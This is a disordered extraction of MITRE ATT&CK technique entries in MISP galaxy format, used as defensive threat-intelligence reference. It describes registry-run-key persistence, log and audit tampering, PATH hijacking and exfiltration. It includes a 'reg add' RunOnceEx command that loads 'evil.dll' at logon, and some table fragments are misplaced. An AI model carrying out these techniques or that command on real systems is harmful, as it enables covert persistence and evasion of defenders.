- revoked-by: misp-galaxy:mitre-attack-pattern="Lockscreen Bypass - T1461" with estimative-language:likelihood-probability="almost-certain"

Table 4863. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1459">https://attack.mitre.org/techniques/T1459</a></td>
</tr>
</tbody>
</table>

**Assign KITs, KIQs, and/or intelligence requirements - T1238**

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1238).

Once generated, Key Intelligence Topics (KITs), Key Intelligence Questions (KIQs), and/or intelligence requirements are assigned to applicable agencies and/or personnel. For example, an adversary may decide nuclear energy requirements should be assigned to a specific organization based on their mission. (Citation: AnalystsAndPolicymaking) (Citation: JP2-01)

The tag is: misp-galaxy:mitre-attack-pattern="Assign KITs, KIQs, and/or intelligence requirements - T1238"

Table 4864. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1238">https://attack.mitre.org/techniques/T1238</a></td>
</tr>
</tbody>
</table>

**Assess current holdings, needs, and wants - T1236**

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1236).

Analysts assess current information available against requirements that outline needs and wants as part of the research baselining process to begin satisfying a requirement. (Citation: CyberAdvertisingChar) (Citation: CIATradecraft) (Citation: ForensicAdversaryModeling) (Citation: CyberAdversaryBehavior)
Submit KITs, KIQs, and intelligence requirements - T1237

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1237).

Once they have been created, intelligence requirements, Key Intelligence Topics (KITs), and Key Intelligence Questions (KIQs) are submitted into a central management system. (Citation: ICD204) (Citation: KIT-Herring)

The tag is: *misp-galaxy:mitre-attack-pattern="Submit KITs, KIQs, and intelligence requirements - T1237"*

Common, high volume protocols and software - T1321

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1321).

Certain types of traffic (e.g., Twitter14, HTTP) are more commonly used than others. Utilizing more common protocols and software may make an adversary’s traffic more difficult to distinguish from legitimate traffic. (Citation: symantecNITRO)

The tag is: *misp-galaxy:mitre-attack-pattern="Common, high volume protocols and software - T1321"*

Exfiltration Over Symmetric Encrypted Non-C2 Protocol - T1048.001

Adversaries may steal data by exfiltrating it over a symmetrically encrypted network protocol other
than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.

Symmetric encryption algorithms are those that use shared or the same keys/secrets on each end of the channel. This requires an exchange or pre-arranged agreement/possession of the value used to encrypt and decrypt data.

Network protocols that use asymmetric encryption often utilize symmetric encryption once keys are exchanged, but adversaries may opt to manually share keys and implement symmetric cryptographic algorithms (ex: RC4, AES) vice using mechanisms that are baked into a protocol. This may result in multiple layers of encryption (in protocols that are natively encrypted such as HTTPS) or encryption in protocols that not typically encrypted (such as HTTP or FTP).

The tag is: _misp-galaxy:mitre-attack-pattern="Exfiltration Over Symmetric Encrypted Non-C2 Protocol - T1048.001"

**Table 4868. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1048/001">https://attack.mitre.org/techniques/T1048/001</a></td>
</tr>
</tbody>
</table>

**Exfiltration Over Asymmetric Encrypted Non-C2 Protocol - T1048.002**

Adversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.

Asymmetric encryption algorithms are those that use different keys on each end of the channel. Also known as public-key cryptography, this requires pairs of cryptographic keys that can encrypt/decrypt data from the corresponding key. Each end of the communication channels requires a private key (only in the procession of that entity) and the public key of the other entity. The public keys of each entity are exchanged before encrypted communications begin.

Network protocols that use asymmetric encryption (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged. Adversaries may opt to use these encrypted mechanisms that are baked into a protocol.

The tag is: _misp-galaxy:mitre-attack-pattern="Exfiltration Over Asymmetric Encrypted Non-C2 Protocol - T1048.002"

**Table 4869. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1048/002">https://attack.mitre.org/techniques/T1048/002</a></td>
</tr>
</tbody>
</table>
Non-traditional or less attributable payment options - T1316

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1316).

Using alternative payment options allows an adversary to hide their activities. Options include crypto currencies, barter systems, pre-paid cards or shell accounts. (Citation: Goodin300InBitcoins)

The tag is: `misp-galaxy:mitre-attack-pattern="Non-traditional or less attributable payment options - T1316"`

Table 4870. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1316">https://attack.mitre.org/techniques/T1316</a></td>
</tr>
</tbody>
</table>

Choose pre-compromised persona and affiliated accounts - T1343

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1343).

For attacks incorporating social engineering the utilization of an on-line persona is important. Utilizing an existing persona with compromised accounts may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. (Citation: AnonHBGary) (Citation: Hacked Social Media Accounts)

The tag is: `misp-galaxy:mitre-attack-pattern="Choose pre-compromised persona and affiliated accounts - T1343"`

Table 4871. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1343">https://attack.mitre.org/techniques/T1343</a></td>
</tr>
</tbody>
</table>

Malicious or Vulnerable Built-in Device Functionality - T1473

The mobile device could contain built-in functionality with malicious behavior or exploitable vulnerabilities. An adversary could deliberately insert and take advantage of the malicious behavior or could exploit inadvertent vulnerabilities. In many cases, it is difficult to be certain
whether exploitable functionality is due to malicious intent or simply an inadvertent mistake.

Platforms: Android, iOS

The tag is: misp-galaxy:mitre-attack-pattern="Malicious or Vulnerable Built-in Device Functionality - T1473"

View relationships graph

Malicious or Vulnerable Built-in Device Functionality - T1473 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1474" with estimative-language:likelihood-probability="almost-certain"

Table 4872. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1473">https://attack.mitre.org/techniques/T1473</a></td>
</tr>
</tbody>
</table>

**Identify vulnerabilities in third-party software libraries - T1389**

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1389).

Many applications use third-party software libraries, often without full knowledge of the behavior of the libraries by the application developer. For example, mobile applications often incorporate advertising libraries to generate revenue for the application developer. Vulnerabilities in these third-party libraries could potentially be exploited in any application that uses the library, and even if the vulnerabilities are fixed, many applications may still use older, vulnerable versions of the library. (Citation: Flexera News Vulnerabilities) (Citation: Android Security Review 2015) (Citation: Android Multidex RCE)

The tag is: misp-galaxy:mitre-attack-pattern="Identify vulnerabilities in third-party software libraries - T1389"

Table 4873. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1389">https://attack.mitre.org/techniques/T1389</a></td>
</tr>
</tbody>
</table>

**Registry Run Keys / Startup Folder - T1547.001**

Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account’s associated permissions level.
The following run keys are created by default on Windows systems:

- `<code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</code>`
- `<code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce</code>`
- `<code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run</code>`
- `<code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce</code>`

Run keys may exist under multiple hives. The `<code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx</code>` is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: `<code>reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"</code>` (Citation: Oddvar Moe RunOnceEx Mar 2018)

Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is `<code>C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup</code>`. The startup folder path for all users is `<code>C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup</code>`.

The following Registry keys can be used to set startup folder items for persistence:

- `<code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders</code>`
- `<code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders</code>`
- `<code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders</code>`
- `<code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders</code>`

The following Registry keys can control automatic startup of services during boot:

- `<code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce</code>`
- `<code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce</code>`
- `<code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices</code>`
- `<code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices</code>`

Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:
Programs listed in the load value of the registry key 
HKEY_CURRENT_USER\Software\Microsoft\Windows\NT\CurrentVersion\Windows
run automatically for the currently logged-on user.

By default, the multistring <code>BootExecute</code> value of the registry key
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager
is set to <code>autocheck autochk *</code>. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.

Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.

The tag is: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001"

**Table 4874. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1547/001">https://attack.mitre.org/techniques/T1547/001</a></td>
</tr>
<tr>
<td><a href="https://blog.malwarebytes.com/cybercrime/2013/10/hiding-in-plain-sight/">https://blog.malwarebytes.com/cybercrime/2013/10/hiding-in-plain-sight/</a></td>
</tr>
</tbody>
</table>

**Clear Linux or Mac System Logs - T1070.002**

Adversaries may clear system logs to hide evidence of an intrusion. macOS and Linux both keep track of system or user-initiated actions via system logs. The majority of native system logging is stored under the <code>/var/log/</code> directory. Subfolders in this directory categorize logs by their related functions, such as:(Citation: Linux Logs)

- <code>/var/log/messages:/</code>: General and system-related messages
- <code>/var/log/secure</code> or <code>/var/log/auth.log</code>: Authentication logs
- <code>/var/log/utmp</code> or <code>/var/log/wtmp</code>: Login records
- <code>/var/log/kern.log</code>: Kernel logs
- <code>/var/log/cron.log</code>: Crond logs
Clear Network Connection History and Configurations - T1070.007

Adversaries may clear or remove evidence of malicious network connections in order to clean up traces of their operations. Configuration settings as well as various artifacts that highlight connection history may be created on a system and/or in application logs from behaviors that require network connections, such as [Remote Services](https://attack.mitre.org/techniques/T1021) or [External Remote Services](https://attack.mitre.org/techniques/T1133). Defenders may use these artifacts to monitor or otherwise analyze network connections created by adversaries.

Network connection history may be stored in various locations. For example, RDP connection history may be stored in Windows Registry values under (Citation: Microsoft RDP Removal):

- `<code>HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default</code>`
- `<code>HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers</code>`

Windows may also store information about recent RDP connections in files such as `<code>C:\Users\%username%\Documents\Default.rdp</code>` and `<code>C:\Users\%username%\AppData\Local\Microsoft\Terminal Server Client\Cache\</code>`. Similarly, macOS and Linux hosts may store information highlighting connection history in system logs (such as those stored in `/Library/Logs` and/or `/var/log/`).(Citation: Apple Culprit Access)(Citation: FreeDesktop Journal)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)

Malicious network connections may also require changes to third-party applications or network configuration settings, such as [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004) or tampering to enable [Proxy](https://attack.mitre.org/techniques/T1090). Adversaries may delete or modify this data to conceal indicators and/or impede defensive analysis.

The tag is: *misp-galaxy:mitre-attack-pattern="Clear Network Connection History and Configurations - T1070.007"*
Compromise Software Dependencies and Development Tools - T1195.001

Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency. (Citation: Trendmicro NPM Compromise)

Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.

The tag is: misp-galaxy:mitre-attack-pattern="Compromise Software Dependencies and Development Tools - T1195.001"

Windows File and Directory Permissions Modification - T1222.001

Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files. (Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).

Windows implements file and directory ACLs as Discretionary Access Control Lists (DACLs). (Citation: Microsoft DACL May 2018) Similar to a standard ACL, DACLs identifies the accounts that are allowed or denied access to a securable object. When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied. (Citation: Microsoft Access...
Adversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. Further, [PowerShell](https://attack.mitre.org/techniques/T1059/001) provides cmdlets that can be used to retrieve or modify file and directory DACLS. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).

The tag is: `misp-galaxy:mitre-attack-pattern="Windows File and Directory Permissions Modification - T1222.001"`

### Compromise Software Dependencies and Development Tools - T1474.001

Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency. (Citation: Grace-Advertisement)

The tag is: `misp-galaxy:mitre-attack-pattern="Compromise Software Dependencies and Development Tools - T1474.001"

### Table 4878. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1222/001">https://attack.mitre.org/techniques/T1222/001</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/windows/desktop/secauthz/dacls-and-aces">https://docs.microsoft.com/windows/desktop/secauthz/dacls-and-aces</a></td>
</tr>
<tr>
<td><a href="https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110">https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110</a></td>
</tr>
<tr>
<td><a href="https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdf67f4e4373c14e4d?environmentId=100">https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdf67f4e4373c14e4d?environmentId=100</a></td>
</tr>
</tbody>
</table>

### Table 4879. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1474/001">https://attack.mitre.org/techniques/T1474/001</a></td>
</tr>
</tbody>
</table>
Path Interception by PATH Environment Variable - T1574.007

Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line.

Adversaries can place a malicious program in an earlier entry in the list of directories stored in the PATH environment variable, resulting in the operating system executing the malicious binary rather than the legitimate binary when it searches sequentially through that PATH listing.

For example, on Windows if an adversary places a malicious program named "net.exe" in C:\example path, which by default precedes C:\Windows\system32\net.exe in the PATH environment variable, when "net" is executed from the command-line the C:\example path will be called instead of the system’s legitimate executable at C:\Windows\system32\net.exe. Some methods of executing a program rely on the PATH environment variable to determine the locations that are searched when the path for the program is not given, such as executing programs from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).

Adversaries may also directly modify the $PATH variable specifying the directories to be searched. An adversary can modify the $PATH variable to point to a directory they have write access. When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary. On macOS, this can also be performed through modifying the $HOME variable. These variables can be modified using the command-line, launchctl, [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or modifying the /etc/paths.d folder contents.

The tag is: misp-galaxy:mitre-attack-pattern="Path Interception by PATH Environment Variable - T1574.007"

Table 4880. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1574/007">https://attack.mitre.org/techniques/T1574/007</a></td>
</tr>
</tbody>
</table>
Path Interception by Search Order Hijacking - T1574.008

Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.

Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program’s directory.

For example, "example.exe" runs "cmd.exe" with the command-line argument `<code>net user</code>". An adversary may place a program called "net.exe" within the same directory as example.exe, "net.exe" will be run instead of the Windows system utility net. In addition, if an adversary places a program called "net.com" in the same directory as "net.exe", then `<code>cmd.exe /C net user</code>` will execute "net.com" instead of "net.exe" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)

Search order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).

The tag is: _misp-galaxy:mitre-attack-pattern="Path Interception by Search Order Hijacking - T1574.008"

Table 4881. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1574/008">https://attack.mitre.org/techniques/T1574/008</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/previous-versions/cc723564(v=technet.10)?redirectedfrom=MSDN#XSLTsection127121120120">https://docs.microsoft.com/en-us/previous-versions/cc723564(v=technet.10)?redirectedfrom=MSDN#XSLTsection127121120120</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/previous-versions/fd7hxfdv(v=vs.85)?redirectedfrom=MSDN">https://docs.microsoft.com/en-us/previous-versions/fd7hxfdv(v=vs.85)?redirectedfrom=MSDN</a></td>
</tr>
</tbody>
</table>

2188
Disable or Modify Linux Audit System - T1562.012

Adversaries may disable or modify the Linux audit system to hide malicious activity and avoid detection. Linux admins use the Linux Audit system to track security-relevant information on a system. The Linux Audit system operates at the kernel-level and maintains event logs on application and system activity such as process, network, file, and login events based on pre-configured rules.

Often referred to as auditd, this is the name of the daemon used to write events to disk and is governed by the parameters set in the audit.conf configuration file. Two primary ways to configure the log generation rules are through the command line auditctl utility and the file /etc/audit/audit.rules, containing a sequence of auditctl commands loaded at boot time.(Citation: Red Hat System Auditing)(Citation: IzyKnows auditd threat detection 2022)

With root privileges, adversaries may be able to ensure their activity is not logged through disabling the Audit system service, editing the configuration/rule files, or by hooking the Audit system library functions. Using the command line, adversaries can disable the Audit system service through killing processes associated with auditd daemon or use systemctl to stop the Audit service. Adversaries can also hook Audit system functions to disable logging or modify the rules contained in the /etc/audit/audit.rules or audit.conf files to ignore malicious activity.(Citation: Trustwave Honeypot SkidMap 2023)(Citation: ESET Ebury Feb 2014)

The tag is: misp-galaxy:mitre-attack-pattern="Disable or Modify Linux Audit System - T1562.012"

Table 4882. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1562/012">https://attack.mitre.org/techniques/T1562/012</a></td>
</tr>
<tr>
<td><a href="https://izyknows.medium.com/linux-auditd-for-threat-detection-d06c8b941505">https://izyknows.medium.com/linux-auditd-for-threat-detection-d06c8b941505</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/">https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/</a></td>
</tr>
</tbody>
</table>

Registry Run Keys / Startup Folder - T1060

Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the “run keys” in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account’s associated permissions level.

Placing a program within a startup folder will cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in.
The startup folder path for the current user is:
<code>C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup</code>
The startup folder path for all users is:
<code>C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup</code>

The following run keys are created by default on Windows systems:
<code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</code> *
<code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce</code> *
<code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run</code> *
<code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce</code> *

The <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx</code> is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx:
<code>reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil\.[.]dll"</code> (Citation: Oddvar Moe RunOnceEx Mar 2018)

The following Registry keys can be used to set startup folder items for persistence:
<code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders</code> *
<code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders</code> *
<code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders</code> *
<code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders</code> *

The following Registry keys can control automatic startup of services during boot:
<code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce</code> *
<code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce</code> *
<code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices</code> *
<code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices</code> *

Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:
<code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run</code> *
<code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run</code> *

The Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit</code> and <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit</code>
NT\CurrentVersion\Winlogon\Shell subkeys can automatically launch programs.

Programs listed in the load value of the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows run when any user logs on.

By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.

Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.

The tag is: `misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060"`

View relationships graph

Registry Run Keys / Startup Folder - T1060 has relationships with:

- revoked-by: `misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001"` with estimative-language:likelihood-probability="almost-certain"

Table 4883. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1060">https://attack.mitre.org/techniques/T1060</a></td>
</tr>
<tr>
<td><a href="https://capec.mitre.org/data/definitions/270.html">https://capec.mitre.org/data/definitions/270.html</a></td>
</tr>
<tr>
<td><a href="https://support.microsoft.com/help/310593/description-of-the-runonceex-registery-key">https://support.microsoft.com/help/310593/description-of-the-runonceex-registery-key</a></td>
</tr>
</tbody>
</table>

Exploit SS7 to Redirect Phone Calls/SMS - T1449

An adversary could exploit signaling system vulnerabilities to redirect calls or text messages (SMS) to a phone number under the attacker’s control. The adversary could then act as an adversary-in-the-middle to intercept or manipulate the communication. (Citation: Engel-SS7) (Citation: Engel-SS7-2008) (Citation: 3GPP-Security) (Citation: Positive-SS7) (Citation: CSRIC5-WG10-FinalReport) Interception of SMS messages could enable adversaries to obtain authentication codes used for multi-factor authentication(Citation: TheRegister-SS7).

The tag is: `misp-galaxy:mitre-attack-pattern="Exploit SS7 to Redirect Phone Calls/SMS - T1449"`

Table 4884. Table References
Assess security posture of physical locations - T1302

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1302).

Physical access may be required for certain types of adversarial actions. (Citation: CyberPhysicalAssessment) (Citation: CriticalInfrastructureAssessment)

The tag is: `misp-galaxy:mitre-attack-pattern="Assess security posture of physical locations - T1302"`

Table 4885. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1302">https://attack.mitre.org/techniques/T1302</a></td>
</tr>
</tbody>
</table>

Determine domain and IP address space - T1250

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1250).

Domain Names are the human readable names used to represent one or more IP addresses. IP addresses are the unique identifier of computing devices on a network. Both pieces of information are valuable to an adversary who is looking to understand the structure of a network. (Citation: RSA-APTRecon)

The tag is: `misp-galaxy:mitre-attack-pattern="Determine domain and IP address space - T1250"`

Table 4886. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1250">https://attack.mitre.org/techniques/T1250</a></td>
</tr>
</tbody>
</table>
Research visibility gap of security vendors - T1290

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1290).

If an adversary can identify which security tools a victim is using they may be able to identify ways around those tools. (Citation: CrowdStrike Putter Panda)

The tag is: *misp-galaxy:mitre-attack-pattern="Research visibility gap of security vendors - T1290"

Table 4887. Table References

<table>
